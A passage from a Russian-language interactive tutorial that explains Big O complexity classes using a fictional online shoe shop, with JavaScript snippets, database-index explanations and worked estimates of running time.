    O(log n) — логарифмна 3–4 шага большенайти заказ по номеру через индекс
    O(n) — линейнаяв 10 раз большепрочитать всю таблицу заказов
    O(n log n)в 11–13 раз большеотсортировать заказы по дате
    O(n²) — квадратичнаяв 100 раз большесравнить каждый заказ с каждым
    O(2ⁿ) — экспонентавозводится в 10-ю степеньперебрать все комбинации скидок
    Почему «купить сервер помощнее» не спасает. Сервер вдвое быстрее делит время на 2 — один раз. А рост данных в 10 раз умножает время квадратичного алгоритма на 100 — и так каждый раз, когда данных снова становится в 10 раз больше. Железо даёт множитель, алгоритм задаёт форму роста. На больших данных форма роста всегда побеждает.

    глава 2 · язык что такое O-большое простыми словами

    Разработчики записывают форму роста коротко: O(n), O(n²), O(log n). Разберём, что стоит за этой записью и почему в ней нет ни секунд, ни мелких чисел.

    определениеO-большое (Big O notation, читается «о большое от эн») — короткая запись того, как растёт число шагов алгоритма при росте n, если отбросить мелочи. O(n²) значит: «работа растёт примерно как квадрат размера данных». Буква O — от слова «order», порядок величины.
    поездка на такси стоит 100 ₽ за посадку и 30 ₽ за километр. По городу, на 3 км, посадка — заметная часть цены. А по дороге из Москвы в Казань (800 км) посадку никто не считает: цена «растёт как километры». O-большое смотрит на цену именно так — на длинной дистанции.

    Шаг 1. Считаем не секунды, а шаги

    Секунды зависят от всего подряд: от процессора, языка, нагрузки на сервер, от того, что ещё запущено рядом. Одна и та же программа на ноутбуке и на сервере работает разное время. А вот число шагов — свойство самого алгоритма.

    определениеШаг — одно простое действие, которое занимает примерно одинаковое время при любом n: сравнить два числа, сложить, прочитать ячейку массива по номеру, записать значение. Точная цена шага не важна: важно, сколько их.

    Чтобы переводить шаги во время, в этом разделе мы условно считаем: компьютер делает 100 миллионов шагов в секунду (10⁸). Реальный процессор выполняет простые команды быстрее, но один «шаг» алгоритма обычно стоит десятки команд и обращений к памяти. Для прикидки порядка величины — «миллисекунды или часы?» — это честная середина.

    Шаг 2. Отбрасываем множители

    Если алгоритм делает 3n шагов, пишут O(n). Если n / 2 — тоже O(n). Почему можно выбросить тройку? Потому что множитель не меняет форму роста: данных ×10 — работы ×10, что с тройкой, что без. Тройка — это как «сервер в три раза медленнее»: неприятно, но предсказуемо и одинаково при любом n.

    Шаг 3. Отбрасываем младшие слагаемые

    Допустим, программа делает 3n² + 50n + 1000 шагов: сравнивает пары (3n²), потом один раз проходит по данным (50n) и тратит 1 000 шагов на подготовку. Пишут просто O(n²). Покрутите n и посмотрите, почему так можно: на маленьких данных главное — подготовка, на больших всё решает старшее слагаемое.

    10
    Проще говоря. O-большое отвечает на вопрос «что будет на больших данных». На больших данных маленькие слагаемые и множители тонут в главном. Поэтому O(n² + n) пишут как O(n²), а O(5 log n + 7) — как O(log n).

    Шаг 4. Худший, средний и лучший случай

    Один и тот же алгоритм на разных данных работает по-разному. Ищем заказ перебором: если он первый в списке — повезло, 1 шаг. Если последний или его нет вовсе — n шагов. Поэтому различают три случая.

    🍀 Лучший случай

    Самые удобные данные. Перебор нашёл заказ с первой попытки: 1 шаг. Почти бесполезная оценка: на удачу не проектируют.

    ⚖️ Средний случай

    Типичные данные. Заказ где-то в середине: около n / 2 шагов — всё равно O(n). Хорош для оценки общей нагрузки.

    🔥 Худший случай

    Самые неудобные данные. Заказа нет — прошли все n. Именно его обычно и имеют в виду под «сложностью».

    АлгоритмЛучшийСреднийХудшийКогда наступает худший
    Перебор спискаO(1)O(n)O(n)элемента нет или он последний
    Хеш-таблица, поиск по ключуO(1)O(1)O(n)все ключи попали в одну «корзину» (глава 10)
    Быстрая сортировка (quicksort)O(n log n)O(n log n)O(n²)раз за разом неудачно выбран «опорный» элемент
    Сортировка слиянием (merge sort)O(n log n)O(n log n)O(n log n)не бывает — гарантия
    Бинарный поискO(1)O(log n)O(log n)элемента нет
    Почему архитектору важен именно худший случай. Во-первых, требования к скорости обычно пишут для «99 запросов из 100» (это называется p99) — а в эти 99 % попадают и неудобные данные. Во-вторых, худший случай можно устроить специально. В 2011 году исследователи показали атаку на веб-серверы: злоумышленник подбирал такие ключи запроса, что все они попадали в одну корзину хеш-таблицы, и поиск из O(1) превращался в O(n). Один запрос размером в сотни килобайт занимал процессор на долгие секунды. После этого многие языки и веб-платформы стали перемешивать хеш-функции случайным «зерном» и ограничивать число параметров в запросе.
    Для любознательных. Строго говоря, O — это оценка сверху: «не хуже, чем». Есть ещё Ω (омега, «не лучше, чем») и Θ (тета, «ровно так»). В разговоре разработчиков буквой O почти всегда называют именно точную форму роста, и мы будем делать так же.

    Шаг 5. Амортизированная сложность: дорого, но редко

    определениеАмортизированная сложность (amortized complexity) — средняя цена одной операции в длинной серии, если иногда случаются дорогие операции, но редко. Дорогие случаи «размазывают» по всем дешёвым.
    вы снимаете склад для коробок. Когда он заполняется, вы переезжаете в склад вдвое больше и перевозите все коробки. Переезд — дорогое событие. Но каждый следующий случается всё реже: после 16 коробок, после 32, после 64. Если разделить все переезды на все коробки, на каждую приходится не больше двух перевозок.

    Ровно так устроен динамический массив — обычный список в JavaScript, ArrayList в Java, list в Python. Под него заранее выделено место (ёмкость). Пока место есть, добавление в конец стоит 1 шаг. Когда место кончилось — выделяется новое, больше в 1,5–2 раза, и все элементы копируются: n шагов. Добавляйте элементы и следите за средней ценой.

    Что вы увидите. Изредка добавление «дорогое» — копируется весь массив. Но средняя цена одного добавления не растёт, а держится около 2–3 шагов. Поэтому говорят: добавление в конец динамического массива — O(1) амортизированно. Слово «амортизированно» честно предупреждает: отдельная операция иногда бывает долгой. Для системы реального времени (скажем, управление тормозами) это важно, для интернет-магазина — нет.

    глава 3 · гонка гонка алгоритмов: все классы на одном графике

    Теперь выпустим все основные классы на одну трассу. По горизонтали — размер данных n. По вертикали — число шагов. Справа — сколько шагов и сколько времени нужно каждому классу при выбранном n, если компьютер делает 10⁸ шагов в секунду.

    100
    Быстро выбрать:
    Шкала:
    Высота графика — подогнать под:
    Нажмите на строку, чтобы спрятать или показать кривую.
    Как читать график. На обычной шкале ось n идёт от нуля до выбранного значения, и видно «лицо» каждой кривой: O(1) и O(log n) лежат почти на полу, O(n) — ровная диагональ, O(n²) и O(2ⁿ) улетают вверх. Высоту графика можно подогнать под разные классы — как будто меняете увеличение лупы. На логарифмической шкале каждое деление по горизонтали — это ×10 данных, по вертикали — ×10 шагов. Так на одном рисунке помещается и 10, и миллиард. Жёлтая пунктирная линия — «бюджет в 1 секунду» (10⁸ шагов): всё, что выше неё, пользователь сайта уже не дождётся.
    Что вы увидите. До n ≈ 20 все классы примерно равны — поэтому на маленьких тестовых данных любая программа «летает». Уже на тысяче O(2ⁿ) уходит в бесконечность. На миллионе O(n²) требует почти три часа. На миллиарде даже O(n log n) занимает несколько минут, а O(log n) всё ещё укладывается в 30 шагов.

    Большая таблица: сколько шагов и сколько времени

    Та же гонка в цифрах — для четырёх размеров данных. Зелёное — меньше десятой доли секунды (пользователь не заметит), жёлтое — до минуты (терпимо для фоновой задачи), красное — дольше.

    Главный вывод главы. Между «зелёным» и «красным» лежит не мощность сервера, а класс алгоритма. Переход с O(n²) на O(n log n) на миллионе записей — это разница между «почти три часа» и «0,2 секунды». Никакое железо такого ускорения не даст.

    глава 4 · O(1) константа: одинаково быстро при любом объёме

    O(1)константная сложностьданных ×10 → работы столько же
    определениеO(1), константная сложность — число шагов не зависит от n. Сто записей или миллиард — операция занимает одно и то же время. Читается «о от единицы».
    гардероб в театре. Вы сдаёте куртку и получаете номерок 347. После спектакля гардеробщик не перебирает все куртки — он идёт прямо к крючку № 347. В гардеробе на 100 курток и на 3 000 курток это занимает одинаковое время.

    Как это работает

    У всех O(1)-операций один секрет: место данных вычисляется, а не ищется. Программа не спрашивает «где лежит нужное?», она сразу знает адрес.

    📦 Элемент массива по номеру

    Массив лежит в памяти подряд. Адрес элемента № k = начало массива + k × размер элемента. Одно умножение и одно сложение — при любой длине массива.

    🔑 Хеш-таблица по ключу

    Из ключа («anna») специальная функция считает число — хеш. Остаток от деления хеша на число корзин — номер корзины. Идём прямо в неё. В среднем там одна-две записи.

    📚 Верх стопки, начало очереди

    Взять верхнюю тарелку из стопки (стек) или первого человека из очереди — не нужно смотреть на остальных. Всегда 1 шаг.

    // все три строки — O(1): время не зависит от длины массива и размера таблицы
    const third  = orders[2];              // элемент по номеру: адрес вычисляется
    const cart   = carts.get('anna');      // хеш-таблица (Map) по ключу
    const first  = queue.shift();          // ⚠ а вот это НЕ O(1) для обычного массива JS:
                                           //   сдвиг сдвигает все остальные элементы → O(n)
    Ловушка. Методы, которые выглядят как «одно действие», могут скрывать перебор. queue.shift() у массива JavaScript сдвигает все элементы на одну позицию влево — это O(n). list.includes(x), indexOf, x in список в Python — тоже перебор, O(n). Настоящая очередь с O(1) с обоих концов — это отдельная структура (например, ArrayDeque в Java, deque в Python).

    O(1) в «Ботинке»

    корзина
    Корзина Анны лежит в Redis под ключом cart:anna. Команда GET cart:anna — O(1): у магазина может быть 10 или 10 миллионов покупателей, время одинаковое.
    сессия
    По номеру сессии из cookie сервер достаёт, кто вошёл, — хеш-таблица, O(1) в среднем.
    остатки в памяти
    Сервис каталога держит в памяти словарь «артикул → остаток». Проверка «есть ли 42-й размер» — O(1).
    счётчик
    Число товаров в корзине хранится готовым числом, а не пересчитывается каждый раз. Показать «в корзине 3» — O(1). Пересчитывать — O(размер корзины).

    Не всё в Redis — O(1)

    Redis часто называют «быстрым, потому что всё O(1)». Это неправда, и ошибка дорого стоит: Redis выполняет команды по одной, и медленная команда задерживает всех остальных клиентов. Сложность каждой команды указана в официальной документации. Нажмите на строку — будет пояснение.

    O(1) — не значит «мгновенно»

    Константа бывает большой

    Запрос в Redis по сети — O(1), но это 0,2–1 мс на дорогу туда и обратно. Сложение двух чисел в памяти — тоже O(1), но это наносекунды. Разница — в тысячи раз. O(1) говорит «не растёт с n», а не «ничего не стоит».

    «В среднем» — не «всегда»

    Хеш-таблица даёт O(1) в среднем. Иногда она перестраивается (амортизированная сложность из главы 2), а при плохой хеш-функции скатывается в O(n). Подробно — в главе 10.

    Как это звучит в требованиях. «Получение корзины по идентификатору покупателя — не дольше 20 мс для 99 % запросов при 5 млн активных корзин». Если за этой операцией стоит поиск по ключу в хеш-таблице или по первичному ключу в базе, требование выполнимо при любом разумном росте числа корзин.

    глава 5 · O(log n) логарифм: каждый шаг отбрасывает половину

    O(log n)логарифмическая сложностьданных ×2 → +1 шагданных ×1000 → +10 шагов
    определениеO(log n), логарифмическая сложность — каждый шаг отбрасывает часть оставшихся данных (обычно половину). Поэтому когда данных становится вдвое больше, нужен всего один лишний шаг.
    определениеЛогарифм по основанию 2 (пишут log₂ n) — ответ на вопрос «сколько раз n можно поделить пополам, пока не останется 1». Вот и вся математика раздела. log₂ 8 = 3, потому что 8 → 4 → 2 → 1 — три деления.
    игра «угадай число от 1 до 100». Вы спрашиваете: «больше 50?» — «нет». «Больше 25?» — «да». Каждый вопрос вдвое сужает круг. Хватает 7 вопросов на любое загаданное число. Для чисел от 1 до миллиона — 20 вопросов. До миллиарда — 30.

    Почему log₂ 1 000 000 ≈ 20

    Удвойте 1 двадцать раз: 2, 4, 8, 16, 32, 64, 128, 256, 512, 1 024 (10 удвоений ≈ тысяча), и ещё десять раз — 1 048 576 (20 удвоений ≈ миллион). Значит, миллион можно поделить пополам 20 раз. Удобное правило: каждые ×1000 данных — это +10 шагов.

    n281001 0001 млн10 млн1 млрд
    log₂ n — делений пополам13≈ 7≈ 10≈ 20≈ 23–24≈ 30

    Бинарный поиск — главный пример

    определениеБинарный поиск (binary search, двоичный поиск) — поиск в отсортированном массиве: смотрим на средний элемент; если искомое меньше — продолжаем в левой половине, если больше — в правой. Каждое сравнение отбрасывает половину.
    function binarySearch(sorted, x) {       // sorted — массив по возрастанию
      let lo = 0, hi = sorted.length - 1;     // ищем между lo и hi
      while (lo <= hi) {                      // пока есть где искать
        const mid = Math.floor((lo + hi) / 2);// середина
        if (sorted[mid] === x) return mid;    // нашли
        if (sorted[mid] < x) lo = mid + 1;    // искомое правее — выбрасываем левую половину
        else                 hi = mid - 1;    // искомое левее — выбрасываем правую
      }
      return -1;                              // нет такого
    }
    // каждый круг цикла делит область поиска пополам → не больше log₂ n + 1 кругов
    Условие, о котором забывают. Бинарный поиск работает только на отсортированных данных. Отсортировать — это O(n log n) (глава 7). Если данные меняются постоянно, держать их отсортированными в массиве дорого: вставка в середину сдвигает хвост, O(n). Поэтому в базах и библиотеках порядок поддерживают деревьями — там и поиск, и вставка стоят O(log n).

    Живой эксперимент: перебор против бинарного поиска

    Слева и справа — один и тот же массив номеров заказов, отсортированный по возрастанию. Ищем один номер двумя способами. Перебор проверяет ячейки по очереди слева направо. Бинарный поиск смотрит в середину и выбрасывает половину. Каждый такт каждый способ делает одно сравнение. Нажмите «▶ Гонка» или идите по одному такту.

    Ячеек в массиве:

    🐌 Перебор — O(n)

    сравнений: 0

    🚀 Бинарный поиск — O(log n)

    сравнений: 0
    Как читать схему. Слева коричневым закрашены ячейки, которые перебор уже проверил. Справа синяя ячейка — середина, на которую сейчас смотрит бинарный поиск; бледные — выброшенные половины, туда он больше никогда не заглянет. Зелёная — найденный номер. На 64 ячейках видны сами номера; на 256 и 1 024 ячейки — просто квадратики.
    Что вы увидите. На 64 ячейках бинарный поиск тратит не больше 7 сравнений, на 1 024 — не больше 11. Перебор — в среднем половину массива, а для несуществующего номера — весь массив. Увеличьте массив в 16 раз (с 64 до 1 024): бинарному поиску добавится всего 4 сравнения, перебору — в 16 раз больше.

    Где ещё живёт O(log n)

    определениеСбалансированное дерево поиска (balanced search tree) — структура, где каждый узел хранит ключ, слева от него лежат ключи меньше, справа — больше, а высота дерева всегда около log₂ n. Самые известные — красно-чёрное дерево и АВЛ-дерево. На них построены TreeMap в Java и std::map в C++. Поиск, вставка и удаление — O(log n).
    генеалогическое дерево, в котором каждый вопрос «налево или направо?» отсекает половину родни. Главное слово — «сбалансированное»: если дерево перекосило в одну сторону (например, ключи вставляли строго по возрастанию, а дерево не умеет выравниваться), оно превращается в длинную цепочку — и поиск становится O(n). Поэтому хорошие деревья сами себя перебалансируют при вставке.

    🗂 Индекс в базе

    Найти заказ по номеру среди 10 млн — около 24 сравнений по дереву индекса. Как это устроено на диске — следующая глава.

    🏆 Рейтинг в Redis

    «Отсортированное множество» Redis (sorted set) — например, топ покупателей по сумме. Добавить или обновить — O(log n).

    ⏰ Очередь задач по времени

    «Отправить письмо через 3 часа». Планировщик держит задачи в куче или дереве: добавить задачу и достать ближайшую — O(log n).

    Кратко: O(√n) — корень из n

    O(√n)данных ×100 → работы ×10
    определениеO(√n) — число шагов растёт как квадратный корень из n: данных стало в 100 раз больше — работы в 10 раз больше. Встречается, когда данные делят на √n блоков по √n элементов.
    вы ищете дом № 537 на длинной улице без указателей. Можно идти вдоль каждого дома. А можно ехать на машине от перекрёстка к перекрёстку (на каждом написан номер квартала), проскочить нужный квартал, вернуться и пройти его пешком. Если на улице 10 000 домов, то это около 100 перекрёстков и 100 домов пешком вместо 10 000.
    // «прыжковый» поиск (jump search) в отсортированном массиве: O(√n)
    const step = Math.floor(Math.sqrt(a.length));
    let i = 0;
    while (i < a.length && a[i] < x) i += step;      // прыгаем блоками по √n  → √n прыжков
    for (let j = Math.max(0, i - step); j <= Math.min(i, a.length - 1); j++)
      if (a[j] === x) return j;                     // идём пешком внутри блока → ещё √n шагов
    return -1;

    В повседневной архитектуре O(√n) встречается редко: бинарный поиск почти всегда лучше. Но класс полезно знать — он стоит между логарифмом и линейным перебором.

    глава 6 · дерево индекса почему базе хватает 4 чтений, чтобы найти строку среди миллиарда

    В разделе «Базы данных» мы видели: чтобы найти строку среди 10 млн, индексу нужно около 24 шагов — каждый отбрасывает половину. Это правда, если считать сравнения. Но в базе дороже всего не сравнение, а чтение страницы с диска: сравнение стоит наносекунды, чтение с SSD — десятки микросекунд, с жёсткого диска — миллисекунды. Если бы каждое из 24 сравнений требовало отдельного чтения, поиск был бы медленным. Поэтому индексы устроены хитрее.

    определениеСтраница (page) — кусок данных фиксированного размера, которым база читает и пишет диск. В PostgreSQL страница — 8 КБ, в MySQL (InnoDB) — 16 КБ по умолчанию. Прочитать одну строку отдельно нельзя: читается вся страница.
    определениеB-дерево (B-tree) — дерево поиска, в котором каждый узел занимает целую страницу и хранит не один ключ, а сотни, и у каждого узла сотни детей. Число детей у узла называют ветвлением (fan-out). B+дерево — его разновидность: все записи лежат в нижнем слое (в листьях), а листья связаны в цепочку слева направо. Обычный индекс в PostgreSQL и в MySQL (InnoDB) — это B+дерево.
    адрес в огромной библиотеке. Сначала этаж (их 5), на этаже — зал (по 100 на этаже), в зале — стеллаж (по 100), на стеллаже — книга (по 100). Четыре «чтения указателя» — и вы у нужной книги среди 5 миллионов. Если бы на каждом шаге выбор был только из двух вариантов («налево или направо»), понадобилось бы 23 шага.

    Почему уровней так мало

    Каждый уровень B-дерева делит оставшиеся данные не на 2, а на число ветвления — скажем, на 500. Поэтому высота дерева — это логарифм по основанию 500: сколько раз n можно поделить на 500, пока не останется одна страница.

    Строк в таблицеДвоичное дерево (ветвление 2)B-дерево (ветвление ~500)
    1 млн≈ 20 уровней3 уровня (500 × 500 × 500 = 125 млн с запасом)
    10 млн≈ 24 уровня3 уровня
    1 млрд≈ 30 уровней4 уровня

    Сравнений внутри страницы по-прежнему много: база ищет нужный ключ среди 500 бинарным поиском — около 9 сравнений. 3 уровня × 9 ≈ 27 сравнений, то есть те же «около 24–27 шагов» из раздела «Базы данных». Изменилось другое: эти шаги сгруппированы в 3 чтения страниц вместо 24. Сложность та же — O(log n), но основание логарифма огромное, и константа (цена чтения) делится почти в 8 раз.

    Живая модель: спуск по индексу

    Выберите размер таблицы и ветвление. Нажмите «🔎 Найти заказ» — и база спустится от корня к листу. Каждая подсвеченная страница — одно чтение.

    10 млн
    500

    Нажмите «🔎 Найти заказ»

    Сейчас на схеме всё дерево индекса: сверху корень — одна страница, снизу листья, в которых лежат ключи и ссылки на строки таблицы.
    Как читать схему. Каждый прямоугольник — страница индекса. В одном уровне страниц бывает очень много, поэтому показаны первые и последние, а между ними многоточие и подпись «страниц на уровне». Синим подсвечен путь поиска: одна страница на каждом уровне. Зелёный лист — страница, где лежит нужный ключ и ссылка на строку в таблице.
    Что вы увидите. При ветвлении 500 рост таблицы с 10 млн до 10 млрд добавляет всего один уровень. А если поставить ветвление 2 (как у простого двоичного дерева), уровней становится 24–34 — вот почему базы не хранят индексы двоичными деревьями. И ещё: верхние уровни занимают совсем немного места и почти всегда лежат в оперативной памяти. С диска реально читается одна-две нижние страницы.

    Чем за это платим и что ещё умеет B+дерево

    📏 Диапазоны — O(log n + k)

    «Заказы с 1 по 15 марта»: база спускается к первому ключу (log n), а дальше идёт по цепочке листьев вправо и читает k подходящих записей. Хеш-индекс так не умеет — он знает только «равно».

    ✍️ Вставка — тоже O(log n)

    Новый ключ надо положить в нужный лист. Если лист полон, он делится пополам, и в родителя добавляется ещё один указатель. Поэтому каждый индекс замедляет запись — ровно это разбиралось в разделе «Базы данных».

    Как это звучит в требованиях. «Поиск заказа по номеру — не дольше 50 мс для 99 % запросов при объёме таблицы заказов до 1 млрд строк». Для B-дерева это 4 уровня, а верхние три почти всегда в памяти, так что требование реалистично. Но только если есть индекс, и запрос им пользуется. Проверяют это планом запроса.

    глава 7 · O(n) и O(n log n) перебор и сортировка: честная работа, которая растёт вместе с данными

    O(n)линейная сложностьданных ×10 → работы ×10
    определениеO(n), линейная сложность — алгоритм посещает каждый элемент один раз (или несколько раз, но фиксированное число). Данных вдвое больше — работы вдвое больше.
    контролёр проверяет билеты в зрительном зале. Один зритель — один билет. Зал на 100 мест — 100 проверок, на 1 000 мест — 1 000. Быстрее нельзя: каждого надо хотя бы увидеть.
    // сумма всех заказов за день — O(n): один проход
    let total = 0;
    for (const o of orders) total += o.sum;      // n шагов
    
    // найти заказ по email перебором — тоже O(n)
    const found = orders.find(o => o.email === 'anna@mail.ru');

    O(n) в «Ботинке» и в базе

    🐌 Seq Scan — последовательное чтение

    Запрос WHERE email = '…' без индекса: база читает таблицу целиком и сравнивает email в каждой строке. В плане запроса это видно как Seq Scan. 10 млн строк — это секунды и гигабайты чтения.

    🔍 Поиск «по любой части слова»

    WHERE name LIKE '%кросс%': обычный индекс отсортирован по началу строки, а начало неизвестно. Остаётся перебор — O(n). Нужен особый индекс (триграммный, полнотекстовый) или поисковая база.

    🔢 Сколько всего страниц?

    «Показано 1–20 из 9 834 211»: чтобы узнать точное число, COUNT(*) в PostgreSQL обходит все подходящие строки (или весь индекс). Это O(n) на каждый показ страницы.

    📤 Выгрузка «всех заказов в Excel»

    Здесь O(n) неизбежно: нужно выдать каждую строку. Вопрос не в сложности, а в том, чтобы делать это в фоне, частями, а не в ответ на нажатие кнопки.

    O(n) — не приговор. Если задача — обработать все данные (отчёт, выгрузка, пересчёт), быстрее, чем O(n), в принципе нельзя: каждую строку нужно хотя бы прочитать. Беда начинается, когда O(n) стоит там, где нужна одна строка: поиск клиента, проверка остатка, открытие карточки. Тогда каждый клик платит за всю таблицу.
    O(n log n)«линейно-логарифмическая»данных ×10 → работы ×11–13
    определениеO(n log n) — для каждого из n элементов делается около log n шагов. Чуть хуже линейной, но несравнимо лучше квадратичной. Это сложность хороших сортировок.
    вам нужно разложить по алфавиту 1 000 анкет. Вы делите стопку пополам, потом ещё пополам — пока не останутся стопки по одной анкете (одна анкета уже «отсортирована»). Потом сливаете стопки попарно: берёте верхние листы двух стопок, кладёте меньший в новую стопку. Уровней деления — log₂ 1 000 ≈ 10, и на каждом уровне вы перекладываете все 1 000 анкет. Итого около 10 000 перекладываний, а не миллион.

    Какие сортировки бывают

    СортировкаВремяДоп. памятьГде встречается
    Слиянием (merge sort)O(n log n) всегдаO(n)основа внешней сортировки в базах, когда данные не влезают в память
    Быстрая (quicksort)O(n log n) в среднем, O(n²) в худшемO(log n)сортировка в памяти в базах; числа в Java (двухопорная версия)
    TimsortO(n log n), на почти отсортированных — почти O(n)O(n)sort в Python, в JavaScript (движок V8), объекты в Java
    Пирамидальная (heapsort)O(n log n) всегдаO(1)там, где нужна гарантия без лишней памяти; «первые k» в базах
    Пузырьком (bubble sort)O(n²)O(1)только в учебниках — и в самописном коде, где ему не место

    Почему сортировать сравнениями быстрее, чем за n log n, нельзя

    Это одно из немногих мест, где в информатике есть доказанный «потолок». Рассуждение простое. У n разных элементов есть n! (эн-факториал: 1 × 2 × 3 × … × n) возможных порядков. Сортировка должна понять, какой из них перед ней. Каждое сравнение «a меньше b?» даёт ответ «да» или «нет» — то есть в лучшем случае отсекает половину вариантов. Значит, нужно не меньше log₂(n!) сравнений, а это примерно n · log₂ n.

    игра «20 вопросов»: загадан один из миллиона предметов, отвечать можно только «да» или «нет». Меньше чем за 20 вопросов гарантированно не угадать, как ни хитри: каждый ответ в лучшем случае делит варианты пополам. Сортировка — та же игра, только загаданных вариантов n!.
    Исключение. Если сортировать не сравнениями, а «раскладкой по ящикам», можно быстрее. Например, заказы по статусу (5 статусов) или по размеру обуви (от 35 до 47) — достаточно одного прохода: посчитать, сколько каких, и разложить. Это сортировка подсчётом, O(n + k), где k — число возможных значений. Работает, только когда значений немного и они известны заранее.

    ORDER BY без индекса

    Запрос SELECT … ORDER BY created_at, а индекса по created_at нет. База читает все подходящие строки (O(n)) и сортирует их (O(n log n)). Если данные помещаются в отведённую память (в PostgreSQL это настройка work_mem, по умолчанию 4 МБ), в плане будет Sort Method: quicksort. Если нет — external merge Disk: …: база сортирует кусками на диске и сливает их. Тот же O(n log n), но с дисковым вводом-выводом — в разы медленнее.

    Если же есть индекс по created_at, сортировать не надо: B+дерево уже хранит ключи по порядку, и база просто идёт по листьям. А запрос с LIMIT 20 и без индекса база выполнит «сортировкой первых k» (в плане — top-N heapsort): держит в памяти кучу из 20 лучших строк. Это O(n log k) — дешевле полной сортировки, но всё равно читается вся таблица.

    Живой эксперимент: пузырёк против слияния

    Два одинаковых перемешанных набора столбиков. Слева сортирует пузырёк — O(n²): сравнивает соседей и меняет их местами, проход за проходом. Справа — слияние, O(n log n): делит и сливает. Каждый такт каждая сортировка делает одинаковое число сравнений. Жёлтым подсвечены элементы, которые сравниваются прямо сейчас.

    Элементов:

    🫧 Пузырёк — O(n²)

    сравнений: 0

    🔀 Слияние — O(n log n)

    сравнений: 0
    Что вы увидите. На 16 элементах разница небольшая. На 64 пузырёк делает около 2 000 сравнений, слияние — около 300. Удвойте n: пузырьку станет в 4 раза больше работы, слиянию — чуть больше чем в 2 раза. На миллионе строк это разница между «часами» и «долями секунды».

    глава 8 · катастрофа O(n²), O(2ⁿ), O(n!): где программа перестаёт заканчиваться

    O(n²)квадратичная сложностьданных ×10 → работы ×100
    определениеO(n²), квадратичная сложность — алгоритм что-то делает для каждой пары элементов. Почти всегда это цикл внутри цикла по тем же данным.
    на свадьбе каждый гость хочет чокнуться с каждым. 10 гостей — 45 звонов бокалов. 100 гостей — 4 950. 1 000 гостей — почти полмиллиона: праздник кончится раньше, чем тосты. Гостей стало в 10 раз больше — чоканий в 100 раз.
    // «для каждого заказа найти покупателя перебором» — O(n · m)
    for (const order of orders) {                         // n заказов
      const buyer = customers.find(c => c.id === order.customerId);  // m покупателей
      order.buyerName = buyer.name;
    }
    // 100 тыс. заказов × 1 млн покупателей = до 10¹¹ сравнений ≈ до 17 минут
    
    // то же самое за O(n + m): сначала словарь, потом один проход
    const byId = new Map(customers.map(c => [c.id, c]));  // m шагов
    for (const order of orders) order.buyerName = byId.get(order.customerId).name;  // n шагов
    // 1,1 млн шагов ≈ 0,01 с

    Где прячется квадрат

    🔁 Цикл в цикле

    Самый заметный вариант: сравнить каждый с каждым, найти дубли, найти «похожие товары» попарным сравнением. Проверка дублей Бориса из главы 1 — ровно этот случай.

    🙈 Скрытый цикл

    if (!seen.includes(id)) seen.push(id) внутри цикла. includes перебирает массив, значит, весь код — O(n²). Замена массива на Set делает его O(n).

    🌐 N+1 в худшем виде

    Для каждого из n заказов на странице код делает отдельный запрос в базу за покупателем. Уже это — n сетевых поездок. А если у таблицы покупателей нет индекса, каждый из этих запросов ещё и перебирает всю таблицу: n × m.

    🫧 Самописная сортировка

    «Отсортирую сам, тут же немного» — и получается пузырёк или сортировка вставками, O(n²). Встроенная сортировка языка — O(n log n) и уже отлажена.

    Как лечат квадрат. Почти всегда одним из четырёх способов: словарь (Map / Set / хеш-таблица) вместо поиска перебором; сортировка и один проход (дубли после сортировки стоят рядом); индекс в базе; соединение (JOIN) в базе вместо цикла с запросами в коде. Каждый превращает O(n²) в O(n) или O(n log n).
    O(2ⁿ)экспоненциальная сложностьn + 1 → работы ×2
    определениеO(2ⁿ), экспоненциальная сложность — добавление одного элемента удваивает работу. Типичный случай — перебор всех подмножеств: для каждого из n элементов есть два варианта, «берём» или «не берём».
    у вас n вещей в шкафу, и каждую можно надеть или не надеть. 3 вещи — 8 нарядов. 10 вещей — 1 024. 40 вещей — больше триллиона. Каждая новая футболка удваивает число вариантов.

    Пример из «Ботинка». Маркетинг просит: «подобрать покупателю самую выгодную комбинацию скидок». У магазина 30 акций, каждая либо применяется, либо нет. Честный перебор — 2³⁰ ≈ 1 млрд комбинаций, около 10 секунд на одну корзину. Добавили 10 акций — 2⁴⁰ ≈ 1 трлн, три часа. Ещё 20 — 2⁶⁰, это сотни лет.

    Как выходят из положения. Меняют постановку, а не сервер: «скидки не суммируются, берётся одна максимальная» (O(n)); правила совместимости, которые резко сокращают перебор; ограничение «не больше двух акций на заказ» (O(n²) пар — терпимо при 30 акциях). Для отдельных задач есть умные точные методы (например, динамическое программирование), но это работа для разработчика, а не повод для перебора.
    O(n!)факториальная сложностьn + 1 → работы ×(n + 1)
    определениеO(n!), факториальная сложность — перебор всех возможных порядков n элементов. n! = 1 × 2 × 3 × … × n. Растёт ещё быстрее экспоненты.
    курьер «Ботинка» развозит заказы по n адресам и хочет найти самый короткий маршрут. Первым можно поехать по любому из n адресов, вторым — по любому из оставшихся n − 1, и так далее. Вариантов объезда — n!. Это знаменитая «задача коммивояжёра».
    АдресовМаршрутов (n!)Перебор при 10⁸ маршрутов в секунду
    51201,2 мкс
    103 628 8000,04 с
    136,2 млрд≈ 1 минута
    151,3 трлн≈ 3,6 часа
    202,4 · 10¹⁸≈ 770 лет
    264 · 10²⁶дольше, чем существует Вселенная (≈ 13,8 млрд лет)
    Как решают на практике. Никто не ищет «самый-самый» маршрут для 40 адресов. Берут эвристики — правила, которые быстро дают «почти лучший» ответ: «езжай к ближайшему непосещённому адресу», потом улучшай маршрут, переставляя пары участков. Готовые решатели (например, Google OR-Tools) находят маршрут, близкий к лучшему, за секунды. Точные методы умнее перебора, но тоже растут экспоненциально.

    Калькулятор катастрофы

    Подвигайте ползунки. Первый — число акций, из которых подбирается комбинация (2ⁿ). Второй — число адресов курьера (n!). Скорость — 10⁸ вариантов в секунду.

    20
    10
    Как узнать катастрофу в требованиях. Слова-сигналы: «подобрать оптимальную комбинацию», «найти лучший маршрут», «проверить все варианты», «сравнить каждого с каждым», «найти все цепочки связей». За ними часто стоит O(n²), O(2ⁿ) или O(n!). Правильная реакция аналитика — уточнить, достаточно ли «хорошего» ответа вместо «лучшего», и сколько элементов будет на самом деле: 8 адресов — это 40 тысяч маршрутов, а 30 — бесконечность.

    глава 9 · посчитайте сами как оценить сложность по коду: восемь правил и восемь разборов

    Сложность можно оценить, не запуская программу. Нужно смотреть на циклы и вызовы, а обычные строки почти игнорировать. Вот правила, которых хватает в 95 % случаев.

    Алгоритм оценки за четыре шага

    1
    Найдите все циклы и все вызовы, которые сами могут быть циклами (find, includes, sort, запрос в базу).Всё остальное — O(1), его можно не считать.
    2
